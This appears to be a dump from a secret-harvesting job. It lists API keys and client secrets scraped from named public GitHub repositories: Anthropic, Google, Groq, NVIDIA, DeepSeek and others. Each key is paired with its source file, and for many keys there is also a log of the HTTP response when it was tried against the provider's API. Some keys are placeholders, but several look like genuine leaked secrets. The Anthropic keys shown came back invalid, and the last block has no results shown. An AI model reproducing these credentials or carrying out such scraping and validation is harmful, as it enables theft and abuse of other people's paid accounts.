BLOB|https://github.com/swdotcom/music/blob/c047904d5bf1c47f48080fef2e2011a4da4babec/config.json|{"clientId": "eb67e22ba1c6474aad8ec8067480d9dc", "clientSecret": "be4ec0af84d540b2a6d8688e95f2b902", "region": "us-east-1", "startUrl": "", "expiresAt": null}
|
||||
BLOB|https://github.com/Kyne0328/Tunify/blob/be116c1b9b4830fb77b007052c12088dadaea171/src/config.json|{"clientId": "46d151be12914e66ad5c72d8fcf4b07b", "clientSecret": "d82403bfa45441ac95e9ca896854f53d", "region": "us-east-1", "startUrl": "", "expiresAt": null}
|
||||
Whitespace-only changes.
@@ -0,0 +1,2 @@
|
||||
BLOB|https://github.com/Kyne0328/Tunify/blob/be116c1b9b4830fb77b007052c12088dadaea171/src/config.json|{"clientId": "46d151be12914e66ad5c72d8fcf4b07b", "clientSecret": "d82403bfa45441ac95e9ca896854f53d", "region": "us-east-1", "startUrl": "", "expiresAt": null}|400 {"error":"invalid_grant","error_description":"Invalid refresh token provided"}
|
||||
BLOB|https://github.com/swdotcom/music/blob/c047904d5bf1c47f48080fef2e2011a4da4babec/config.json|{"clientId": "eb67e22ba1c6474aad8ec8067480d9dc", "clientSecret": "be4ec0af84d540b2a6d8688e95f2b902", "region": "us-east-1", "startUrl": "", "expiresAt": null}|400 {"error":"invalid_grant","error_description":"Invalid refresh token provided"}
|
||||
Whitespace-only changes.
Whitespace-only changes.
Whitespace-only changes.
@@ -0,0 +1,40 @@
|
||||
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgNryP4J3jVmNHl0w5N_XgL0n3I9PlFUP0THsR8U|https://github.com/profbernardoj/everclaw-community-branches/blob/7ea3b445ee7d2ef8004d5ee77dab7544e1b8ef88/skills/bagman/examples/sanitizer.py|{"field": "oauth-jwt"}
|
||||
sk-ant-api03-00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000|https://github.com/evenfire-ai/evenfire/blob/3b70c68249f07f8896654820946fc4feb204c8a4/.env.test|{"field": "sk-ant"}
|
||||
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|https://github.com/Ladorigvava/thekeyssystemstricoreai/blob/9c732cde12a14f7ef466ee9bde841f8b54e5c652/.env.txt|{"field": "sk-ant"}
|
||||
sk-ant-api03-1234567890abcdefghijklmnopqrstuvwxyz|https://github.com/i-rtfsc/NeuraDock/blob/49feee2d4612e73e8b98f920c3c88b4e9cb39300/apps/desktop/src-tauri/crates/neuradock-infrastructure/src/logging/log_utils.rs|{"field": "sk-ant"}
|
||||
sk-ant-api03-1234567890abcdefghijklmnopqrstuvwxyz-1234567890ABCDEFGHIJ|https://github.com/sooogooo/Mythology-Narratology/blob/6bffd2419dfe6ecad971f1a846b16393f863fa6c/API_KEYS_GUIDE.md|{"field": "sk-ant"}
|
||||
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|https://github.com/ArnavBhalla/Forge/blob/95dd629009a23dd040200291928d1d358bf07b92/api.txt|{"field": "sk-ant"}
|
||||
sk-ant-api03-663526-0000-0000-0000-000000000000|https://github.com/koding-fantasi/kontas-web/blob/6508fa8ba3908ba81bcf20154503566f22d8053c/env.txt|{"field": "sk-ant"}
|
||||
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|https://github.com/YWU99u/WiseMind-DDx-Psyc/blob/4e1ed40627a51d57b4d51addbd2f5550c252d851/src/.env|{"field": "sk-ant"}
|
||||
sk-ant-api03-A1B2C3D4E5F6G7H8I9J0|https://github.com/serkanh/sre-bot/blob/ecefbaaf54be965488d49edb1227d3e67aeebbb3/README.md|{"field": "sk-ant"}
|
||||
sk-ant-api03-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|https://github.com/burakdede/aisw/blob/be32800cabc9dc2648cf8f5dc7c4e862216bafd1/src/commands/add.rs|{"field": "sk-ant"}
|
||||
sk-ant-api03-AbCdEf1234567890GhIjKlMnOpQrStUvWxYzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxy01|https://github.com/spanforge/sf-keyaudit/blob/42b9a6af119081cb464e5e2e31fc0f9c83b9ba46/docs/entropy-confidence.md|{"field": "sk-ant"}
|
||||
sk-ant-api03-AbCdEf1234567890_xyz|https://github.com/jessefreitas/OmniRift/blob/49c3665aa40d23df58267eca78195a1e5b6497e8/apps/desktop/src-tauri/src/redactor.rs|{"field": "sk-ant"}
|
||||
sk-ant-api03-AbCdEfGhIjKlMnOpQrStUv0123456789AbCdEf|https://github.com/RodCor/kimetsu/blob/8e3088ceab76e185f075f4c3fbab25d3c962c297/crates/kimetsu-brain/src/ingest.rs|{"field": "sk-ant"}
|
||||
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|https://github.com/harishathithya/The-one-for-me/blob/00de0128b11be27e7b84ae55be77821a3dbdf4b8/.env|{"field": "sk-ant"}
|
||||
sk-ant-api03-KHuz9SXDBUVfEaJwxqa3eH9x3C64GZmgrmLxC-|https://github.com/abdul-hanan79/GlucoGuide-AI/blob/98701a03fbbf4f1402cdcf6e2ed4a145a36b454e/app.py|{"field": "sk-ant"}
|
||||
sk-ant-api03-KHuz9SXDBUVfEaJwxqa3eH9x3C64GZmgrmLxC-8n-CJFt50Amcntr5zE62blgqbtwmHZpxwrXoo4d7gs2aS_KQ-J-EoBwAA|https://github.com/abdul-hanan79/GlucoGuide-AI/blob/98701a03fbbf4f1402cdcf6e2ed4a145a36b454e/app.py|{"field": "sk-ant"}
|
||||
sk-ant-api03-YOUR-REAL-KEY-HERE|https://github.com/Yehonatan-Bar/skill-mill/blob/891c0fd9da57b78be880d44a9e7a9c0683dde5d4/README.md|{"field": "sk-ant"}
|
||||
sk-ant-api03-YOUR_ANTHROPIC_API_KEY_HERE|https://github.com/Rishi-Dev-pro/Mochi/blob/d0e9c22467f0b3ee7db752dde25b758839533724/docs/SETUP.md|{"field": "sk-ant"}
|
||||
sk-ant-api03-ZZZZZZZZZZZZ1234567890|https://github.com/jessefreitas/OmniRift/blob/49c3665aa40d23df58267eca78195a1e5b6497e8/apps/desktop/src-tauri/src/redactor.rs|{"field": "sk-ant"}
|
||||
sk-ant-api03-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabb|https://github.com/azerozero/grob/blob/53a4c2947b8620cfacfa05fce9190236afb1e917/src/features/dlp/builtins.rs|{"field": "sk-ant"}
|
||||
sk-ant-api03-abcdefghijklmnopqrstuvwxyz|https://github.com/spacedriveapp/spacebot/blob/ac52277404d3813045aa053b78c95810ab85e7c5/src/api/state.rs|{"field": "sk-ant"}
|
||||
sk-ant-api03-abcdefghijklmnopqrstuvwxyz0123456789ABCD|https://github.com/profbernardoj/everclaw-community-branches/blob/7ea3b445ee7d2ef8004d5ee77dab7544e1b8ef88/skills/bagman/examples/sanitizer.py|{"field": "sk-ant"}
|
||||
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|https://github.com/cefothe/hitl-engineering-jprime-2026-workshop/blob/2a0b37442a2a659c1a6f6a6f7f2714d4ce161e35/key.txt|{"field": "sk-ant"}
|
||||
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|https://github.com/kanlanc/TMD-Misinformation-Checker/blob/b151e56fb9c90fe644d513fcdf20dd33a62bdde3/app.py|{"field": "sk-ant"}
|
||||
sk-ant-api03-dummy-key-000000000000000000000000000000000000000000000000AA|https://github.com/nilupulk/claude-code-free/blob/34b0eb6af664b7eb13c9c65f4c7e1a6e9c5f62cf/README.md|{"field": "sk-ant"}
|
||||
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|https://github.com/OzCog/mad9ml/blob/b586d61930b3f6da7663b500e5841e3f95e6e177/kvx.md|{"field": "sk-ant"}
|
||||
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|https://github.com/wattgod/gravel-race-automation/blob/9611f7dab0326314e045b786384edbfb68a8f42e/docs/GITHUB_SETUP.md|{"field": "sk-ant"}
|
||||
sk-ant-api03-pcod6mAxe3v7NPbGkM9Ir5ADeijaDe6DAE|https://github.com/woodharter/lotsol/blob/0ea5240117a5260f50840055ae6de69fb4800c17/README.md|{"field": "sk-ant"}
|
||||
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|https://github.com/cefothe/hitl-engineering-jprime-2026-workshop/blob/2a0b37442a2a659c1a6f6a6f7f2714d4ce161e35/key.txt|{"field": "sk-ant"}
|
||||
sk-ant-api03-realkey123456789012345678|https://github.com/crystal-autobot/autobot/blob/5296696880b3f3fa3a3d7b70d8f864c814704bf9/spec/autobot/config/security_validator_spec.cr|{"field": "sk-ant"}
|
||||
sk-ant-api03-seu_token_anthropic|https://github.com/emingues-xx/claude-webhook/blob/41350e4fea40fb276c8d9e2565398cea3d47c5fd/RAILWAY_DEPLOY.md|{"field": "sk-ant"}
|
||||
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|https://github.com/xiaoju111a/op/blob/d53bdc0d56c5da6fcc87045ac74b82b76bfa57b2/README.md|{"field": "sk-ant"}
|
||||
sk-ant-api03-test1234567890abcdef|https://github.com/Teeeep/prompt-chess/blob/edf396088b5d677dc39c93cd3ec705056ab37ed0/spec/services/llm_config_service_spec.rb|{"field": "sk-ant"}
|
||||
sk-ant-api03-testtesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttest01|https://github.com/spanforge/sf-keyaudit/blob/42b9a6af119081cb464e5e2e31fc0f9c83b9ba46/docs/entropy-confidence.md|{"field": "sk-ant"}
|
||||
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|https://github.com/Lahari-tech845/AMI/blob/4c5237b7d699a7994c9ee099c5d0d6e2f2a80531/AMI_demo.py|{"field": "sk-ant"}
|
||||
sk-ant-api03-tu_clave_real_aqui|https://github.com/veasv2/mdc-bot/blob/216beaa39ee5424a0f3998444cebbec07ff8323b/docs/CLAUDE_SETUP.md|{"field": "sk-ant"}
|
||||
sk-ant-api03-your-actual-key-here|https://github.com/vishalharkal15/AIBrowseX-/blob/78006320e522b6cddfa218e3a7a45cbfcbf38a11/GETTING_STARTED.txt|{"field": "sk-ant"}
|
||||
sk-ant-api03-your-anthropic-key-here|https://github.com/IgnacioCastillo05/Tarea-4Part2_TDSE/blob/53ac209dda0c54faa9d831181b593de54c0df16d/README.md|{"field": "sk-ant"}
|
||||
sk-ant-api03-your-api-key-here|https://github.com/sulaiman013/chat-with-your-data-fabric-PowerBI-/blob/18a79a5d8fb9144d4407a53f72c0568f5ff856f0/README.md|{"field": "sk-ant"}
|
||||
sk-ant-api03-your_anthropic_key_here|https://github.com/sylvainbonnecarrere/A-IR-OB1/blob/c50d349fd7c9157c2eb80bc4358a1a8bdf52acdd/docs/SECURITY.md|{"field": "sk-ant"}
|
||||
@@ -0,0 +1,39 @@
|
||||
sk-ant-api03-dummy-key-000000000000000000000000000000000000000000000000AA|https://github.com/nilupulk/claude-code-free/blob/34b0eb6af664b7eb13c9c65f4c7e1a6e9c5f62cf/README.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
sk-ant-api03-663526-0000-0000-0000-000000000000|https://github.com/koding-fantasi/kontas-web/blob/6508fa8ba3908ba81bcf20154503566f22d8053c/env.txt|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
sk-ant-api03-pcod6mAxe3v7NPbGkM9Ir5ADeijaDe6DAE|https://github.com/woodharter/lotsol/blob/0ea5240117a5260f50840055ae6de69fb4800c17/README.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
sk-ant-api03-your-api-key-here|https://github.com/sulaiman013/chat-with-your-data-fabric-PowerBI-/blob/18a79a5d8fb9144d4407a53f72c0568f5ff856f0/README.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
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|https://github.com/cefothe/hitl-engineering-jprime-2026-workshop/blob/2a0b37442a2a659c1a6f6a6f7f2714d4ce161e35/key.txt|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
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|https://github.com/xiaoju111a/op/blob/d53bdc0d56c5da6fcc87045ac74b82b76bfa57b2/README.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
sk-ant-api03-YOUR-REAL-KEY-HERE|https://github.com/Yehonatan-Bar/skill-mill/blob/891c0fd9da57b78be880d44a9e7a9c0683dde5d4/README.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
sk-ant-api03-A1B2C3D4E5F6G7H8I9J0|https://github.com/serkanh/sre-bot/blob/ecefbaaf54be965488d49edb1227d3e67aeebbb3/README.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
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|https://github.com/Ladorigvava/thekeyssystemstricoreai/blob/9c732cde12a14f7ef466ee9bde841f8b54e5c652/.env.txt|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
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|https://github.com/cefothe/hitl-engineering-jprime-2026-workshop/blob/2a0b37442a2a659c1a6f6a6f7f2714d4ce161e35/key.txt|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
sk-ant-api03-realkey123456789012345678|https://github.com/crystal-autobot/autobot/blob/5296696880b3f3fa3a3d7b70d8f864c814704bf9/spec/autobot/config/security_validator_spec.cr|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
sk-ant-api03-abcdefghijklmnopqrstuvwxyz|https://github.com/spacedriveapp/spacebot/blob/ac52277404d3813045aa053b78c95810ab85e7c5/src/api/state.rs|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
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|https://github.com/ArnavBhalla/Forge/blob/95dd629009a23dd040200291928d1d358bf07b92/api.txt|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
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|https://github.com/OzCog/mad9ml/blob/b586d61930b3f6da7663b500e5841e3f95e6e177/kvx.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
sk-ant-api03-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabb|https://github.com/azerozero/grob/blob/53a4c2947b8620cfacfa05fce9190236afb1e917/src/features/dlp/builtins.rs|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
sk-ant-api03-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|https://github.com/burakdede/aisw/blob/be32800cabc9dc2648cf8f5dc7c4e862216bafd1/src/commands/add.rs|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
sk-ant-api03-KHuz9SXDBUVfEaJwxqa3eH9x3C64GZmgrmLxC-8n-CJFt50Amcntr5zE62blgqbtwmHZpxwrXoo4d7gs2aS_KQ-J-EoBwAA|https://github.com/abdul-hanan79/GlucoGuide-AI/blob/98701a03fbbf4f1402cdcf6e2ed4a145a36b454e/app.py|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
sk-ant-api03-KHuz9SXDBUVfEaJwxqa3eH9x3C64GZmgrmLxC-|https://github.com/abdul-hanan79/GlucoGuide-AI/blob/98701a03fbbf4f1402cdcf6e2ed4a145a36b454e/app.py|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
sk-ant-api03-abcdefghijklmnopqrstuvwxyz0123456789ABCD|https://github.com/profbernardoj/everclaw-community-branches/blob/7ea3b445ee7d2ef8004d5ee77dab7544e1b8ef88/skills/bagman/examples/sanitizer.py|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
sk-ant-api03-1234567890abcdefghijklmnopqrstuvwxyz|https://github.com/i-rtfsc/NeuraDock/blob/49feee2d4612e73e8b98f920c3c88b4e9cb39300/apps/desktop/src-tauri/crates/neuradock-infrastructure/src/logging/log_utils.rs|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
sk-ant-api03-seu_token_anthropic|https://github.com/emingues-xx/claude-webhook/blob/41350e4fea40fb276c8d9e2565398cea3d47c5fd/RAILWAY_DEPLOY.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
sk-ant-api03-AbCdEf1234567890GhIjKlMnOpQrStUvWxYzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxy01|https://github.com/spanforge/sf-keyaudit/blob/42b9a6af119081cb464e5e2e31fc0f9c83b9ba46/docs/entropy-confidence.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
sk-ant-api03-00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000|https://github.com/evenfire-ai/evenfire/blob/3b70c68249f07f8896654820946fc4feb204c8a4/.env.test|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
sk-ant-api03-AbCdEf1234567890_xyz|https://github.com/jessefreitas/OmniRift/blob/49c3665aa40d23df58267eca78195a1e5b6497e8/apps/desktop/src-tauri/src/redactor.rs|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
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|https://github.com/Lahari-tech845/AMI/blob/4c5237b7d699a7994c9ee099c5d0d6e2f2a80531/AMI_demo.py|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
sk-ant-api03-YOUR_ANTHROPIC_API_KEY_HERE|https://github.com/Rishi-Dev-pro/Mochi/blob/d0e9c22467f0b3ee7db752dde25b758839533724/docs/SETUP.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
sk-ant-api03-testtesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttest01|https://github.com/spanforge/sf-keyaudit/blob/42b9a6af119081cb464e5e2e31fc0f9c83b9ba46/docs/entropy-confidence.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
sk-ant-api03-tu_clave_real_aqui|https://github.com/veasv2/mdc-bot/blob/216beaa39ee5424a0f3998444cebbec07ff8323b/docs/CLAUDE_SETUP.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
sk-ant-api03-1234567890abcdefghijklmnopqrstuvwxyz-1234567890ABCDEFGHIJ|https://github.com/sooogooo/Mythology-Narratology/blob/6bffd2419dfe6ecad971f1a846b16393f863fa6c/API_KEYS_GUIDE.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
sk-ant-api03-ZZZZZZZZZZZZ1234567890|https://github.com/jessefreitas/OmniRift/blob/49c3665aa40d23df58267eca78195a1e5b6497e8/apps/desktop/src-tauri/src/redactor.rs|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
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|https://github.com/YWU99u/WiseMind-DDx-Psyc/blob/4e1ed40627a51d57b4d51addbd2f5550c252d851/src/.env|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
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|https://github.com/kanlanc/TMD-Misinformation-Checker/blob/b151e56fb9c90fe644d513fcdf20dd33a62bdde3/app.py|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
sk-ant-api03-your-anthropic-key-here|https://github.com/IgnacioCastillo05/Tarea-4Part2_TDSE/blob/53ac209dda0c54faa9d831181b593de54c0df16d/README.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
sk-ant-api03-your_anthropic_key_here|https://github.com/sylvainbonnecarrere/A-IR-OB1/blob/c50d349fd7c9157c2eb80bc4358a1a8bdf52acdd/docs/SECURITY.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
sk-ant-api03-AbCdEfGhIjKlMnOpQrStUv0123456789AbCdEf|https://github.com/RodCor/kimetsu/blob/8e3088ceab76e185f075f4c3fbab25d3c962c297/crates/kimetsu-brain/src/ingest.rs|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
sk-ant-api03-your-actual-key-here|https://github.com/vishalharkal15/AIBrowseX-/blob/78006320e522b6cddfa218e3a7a45cbfcbf38a11/GETTING_STARTED.txt|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
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|https://github.com/harishathithya/The-one-for-me/blob/00de0128b11be27e7b84ae55be77821a3dbdf4b8/.env|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
sk-ant-api03-test1234567890abcdef|https://github.com/Teeeep/prompt-chess/blob/edf396088b5d677dc39c93cd3ec705056ab37ed0/spec/services/llm_config_service_spec.rb|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
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|https://github.com/wattgod/gravel-race-automation/blob/9611f7dab0326314e045b786384edbfb68a8f42e/docs/GITHUB_SETUP.md|{"field": "sk-ant"}|401 {"type":"error","error":{"type":"authentication_error","message":"API key is inv
|
||||
@@ -0,0 +1 @@
|
||||
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgNryP4J3jVmNHl0w5N_XgL0n3I9PlFUP0THsR8U|https://github.com/profbernardoj/everclaw-community-branches/blob/7ea3b445ee7d2ef8004d5ee77dab7544e1b8ef88/skills/bagman/examples/sanitizer.py|{"field": "oauth-jwt"}|HTTP 404: {"type":"error","error":{"type":"not_found_error","message":
|
||||
Whitespace-only changes.
Whitespace-only changes.
Whitespace-only changes.
Whitespace-only changes.
@@ -0,0 +1 @@
|
||||
API Key Policies|https://github.com/ThinkWatchProject/ThinkWatch/blob/0dd0945583c79b228ec179b8ad07a131ea49f6d6/web/src/i18n/en.json|{"provider": "?", "field": "settings.apiKeysConfig"}|401
|
||||
Whitespace-only changes.
Whitespace-only changes.
Whitespace-only changes.
Whitespace-only changes.
@@ -0,0 +1,2 @@
|
||||
7a766920-d460-47e9-8aae-530234851bca|https://github.com/CraigglesO/.config/blob/650c20536783af928d07e6d9bc9c96037bb5eb35/helix/languages.toml|{"source": "env"}
|
||||
c6b5b5b3-7872-4a64-a404-189f5bdb4e03|https://github.com/t-mo77/book-recomendation/blob/8ead2c0f44538a12fbbf89e56cc9cc428764d0bf/.codeium/config.json|{"source": "config.json"}
|
||||
@@ -0,0 +1 @@
|
||||
7a766920-d460-47e9-8aae-530234851bca|https://github.com/CraigglesO/.config/blob/650c20536783af928d07e6d9bc9c96037bb5eb35/helix/languages.toml|{"source": "env"}|401 {"code":"unauthenticated","message":"missing auth token (trace ID: 8361f9957d8e8
|
||||
Whitespace-only changes.
Whitespace-only changes.
@@ -0,0 +1 @@
|
||||
c6b5b5b3-7872-4a64-a404-189f5bdb4e03|https://github.com/t-mo77/book-recomendation/blob/8ead2c0f44538a12fbbf89e56cc9cc428764d0bf/.codeium/config.json|{"source": "config.json"}|net:SSLError:[SSL: SSLV3_ALERT_BAD_RECORD_MAC] sslv3 alert bad record mac (_ssl.c:2546)
|
||||
Whitespace-only changes.
@@ -0,0 +1,33 @@
|
||||
${LITELLM_MASTER_KEY}|https://github.com/th-efool/localLLM_Orchestrator/blob/30e872b9c4a46d0338113484e720bf02c6b8dedb/config-examples/continue.config.json|{"model": "phi4", "provider": "openai"}
|
||||
09sTj5pTuUbKcQGsShQC8gtftKP7R8VF|https://github.com/gevalinho/conduitbox_bank/blob/47ee868604698348c40bc8d565d4752be6a151ce/tsconfig.json|{"field": "tabAutocompleteModel"}
|
||||
11fa547803ecbbf7714e95b5bcb8e2f9ca8c42723e73d9f76b1a60d70b42e197|https://github.com/JitenSabharwal/JARVIS-AI-OS/blob/ea920943c259d40009679e52ec4b266ee1c52dcf/.continue/config.legacy.json|{"model": "jarvis-default", "provider": "openai"}
|
||||
644fe2b6e4ce9301796615494a1766bd|https://github.com/bbalakriz/dotnet-web-simple-devspaces/blob/df22e6a405a626813790f7020fe9d17b27cade49/.continuerc.json|{"model": "granite-8b-code-instruct-128k", "provider": "openai"}
|
||||
8c313c111b47423aa91781479cf0af6e.LfWV1laJpyWEHH1z|https://github.com/khaledbashir/ownllm1/blob/ed708f2864728e19f6329056675d64579facd16e/.continue/config.json|{"model": "glm-4.7", "provider": "openai"}
|
||||
AIzaSyAg1-yfLdo4514L8qdejVN1WYZomptIuFU|https://github.com/ron-thecertifiedbomb/lizardinteractive.online_client/blob/f10abffe502791a5456207ec51cfb603355e5e4e/config.json|{"model": "gemini-2.5-flash-lite-latest", "provider": "gemini"}
|
||||
AIzaSyAseka4ybW-EovMRe8wO4a40obskHp9zBE|https://github.com/jlucbonneau33-dot/Jean-Luc/blob/9930b8f578efffb0dd892fbb2cf6a3432ff1cc0c/.continue/config.json|{"model": "gemini-2.0-flash", "provider": "gemini"}
|
||||
AQ.Ab8RN6JIF5ahHQ21e5jx52YQAHdSxFPF0fSKpdbEGRU3nfXROw|https://github.com/Silvinhojm/criptomorse/blob/8ddf4ccce8b7de3ed60fa93a8b960fb4c43a85cd/config.example.json|{"model": "gemini-1.5-pro", "provider": "gemini"}
|
||||
AQAb8RN6JqEX_s1sLar2yXE932eCDI7dPmuwvytoFjN0M6my_10A|https://github.com/frutapurapoupas/valente-conecta/blob/e6445604e39535b81f08c1fa9b3906a1ae8b2b18/config.json|{"model": "gemini-1.5-pro", "provider": "google"}
|
||||
D35nZHM8jxzFdw8DBzMxkih6q4x4uUd8|https://github.com/Offren/RSS-aggregator-Xpath-scraper/blob/3731867e30d90d92f938ef10d2ccd5fa7aed74ad/.continue/config.json|{"field": "tabAutocompleteModel"}
|
||||
EJIBxODCZyJOCAdvqSdcYOBZGlT38HjU|https://github.com/nuxdie/money_v2/blob/62e0bc69564e47bebda5320c2eab2ffa14de6af4/.continuerc.json|{"field": "tabAutocompleteModel"}
|
||||
FZXyvvOZ0SRkVb1pUaAykf4jGR0ixGDq|https://github.com/noemisanalex74/autogestionpro/blob/c5b8d6887776d949c527aecf85e99520aca69697/config/continue.config.json|{"field": "tabAutocompleteModel"}
|
||||
INSERISCI_LA_TUA_KEY_QUI|https://github.com/xnemesy/Fyne/blob/b325e0fdd9413516682ce3b16fb7e1d5392dafdc/.continue/config.json|{"model": "moonshot-v1-8k", "provider": "openai"}
|
||||
YOUR_GITHUB_TOKEN_HERE|https://github.com/emrahbadas/electron/blob/4864bd2e089317fd9fbfee12d21caf67dd17b72e/.continue/config.json|{"model": "gpt-4o", "provider": "openai"}
|
||||
aFJAAt0XckRMkVMeeAzIioEKacFBRSSe|https://github.com/dgokcin/dotfiles/blob/15a153a2e64d466d95c66b48d7cfcef48d5c14bc/ai-stuff/continue/config.json|{"model": "codestral-latest", "provider": "mistral"}
|
||||
con-e4ed7e203f962628a36ee33d4a91f40a8c4aad3d2a1ad187998b29c050a32539c|https://github.com/HanyWell/hany-beats-blog/blob/7dea4a29120a5efcdf9f0cf3a650c121b8aa1807/.continue/config.json|{"model": "claude-3-5-sonnet-20241022", "provider": "anthropic"}
|
||||
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|https://github.com/nuxdie/money_v2/blob/62e0bc69564e47bebda5320c2eab2ffa14de6af4/.continuerc.json|{"model": "llama3-70b", "provider": "groq"}
|
||||
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|https://github.com/DirtyCritic/wordle/blob/236dba629b8fda5d2e8457c950df02639647e850/~/.continue/config.json|{"model": "meta/llama-3.1-70b-instruct", "provider": "openai"}
|
||||
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|https://github.com/gautamshubhamramcharan-prog/factorynerve/blob/dd4c6d07d21905c51cb768a2dfa7e610746010b7/.continue/config.json|{"model": "qwen/qwen3-next-80b-a3b-instruct", "provider": "openai"}
|
||||
optional-tentaclaw-api-key|https://github.com/TentaCLAW-OS/TentaCLAW/blob/559be77f02bced23f1638e60d95828fea1c1bd99/integrations/continue-dev/config.json|{"model": "llama3.1:8b", "provider": "openai"}
|
||||
sk-1ed0d***********************0d94|https://github.com/aymanalmousa1991-afk/barbershop-mo-ma/blob/232026c494c0eaba92f137bb360c8ededdf3a39c/.continue/config.json|{"model": "deepseek-chat", "provider": "openai"}
|
||||
sk-2b3d2a872c9046f8a309b15a1200c22a|https://github.com/drJanW/Kwal27/blob/d7d3dc48ff96f5ee33f4020f40820ef08f3d7433/.continue/config.json|{"model": "deepseek-v4-pro", "provider": "deepseek"}
|
||||
sk-8ff9a856f5ea4c638fcd715c65655218|https://github.com/harshitsingh85420/HmarePanditJi/blob/28e30dcc7bd6aec38f67c977065641a7ef173022/.continue-config.json|{"model": "deepseek-chat", "provider": "openai"}
|
||||
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|https://github.com/Offren/RSS-aggregator-Xpath-scraper/blob/3731867e30d90d92f938ef10d2ccd5fa7aed74ad/.continue/config.json|{"model": "claude-3-5-sonnet-20240620", "provider": "anthropic"}
|
||||
sk-b4fbad865d874bb4a2a8881ce40773fd|https://github.com/Angus-Paillaugue/.dotfiles/blob/9794dc6639633a5c487c62885597779d5111c48a/links/.config/VSCodium/User/User/History/165b1fcd/FZqw.json|{"model": "AUTODETECT", "provider": "ollama"}
|
||||
sk-d2a3f732d6f748289f84adf3ce875715|https://github.com/Cagedcarrow/UR10_Matlab_shovel_test/blob/db1bcc9caa5205c4a0731e16dd78b12650ba1761/config.json|{"model": "deepseek-chat", "provider": "deepseek"}
|
||||
sk-lm-iwHFr0Xk:nEghLayTOWBJpO5YmxpF|https://github.com/hhoomph/nextjs_estore/blob/721bf68ff109553e8e3c7a0e52589c3f1c25c5af/.continue/config.json|{"model": "qwen-coder2.5-7b", "provider": "lmstudio"}
|
||||
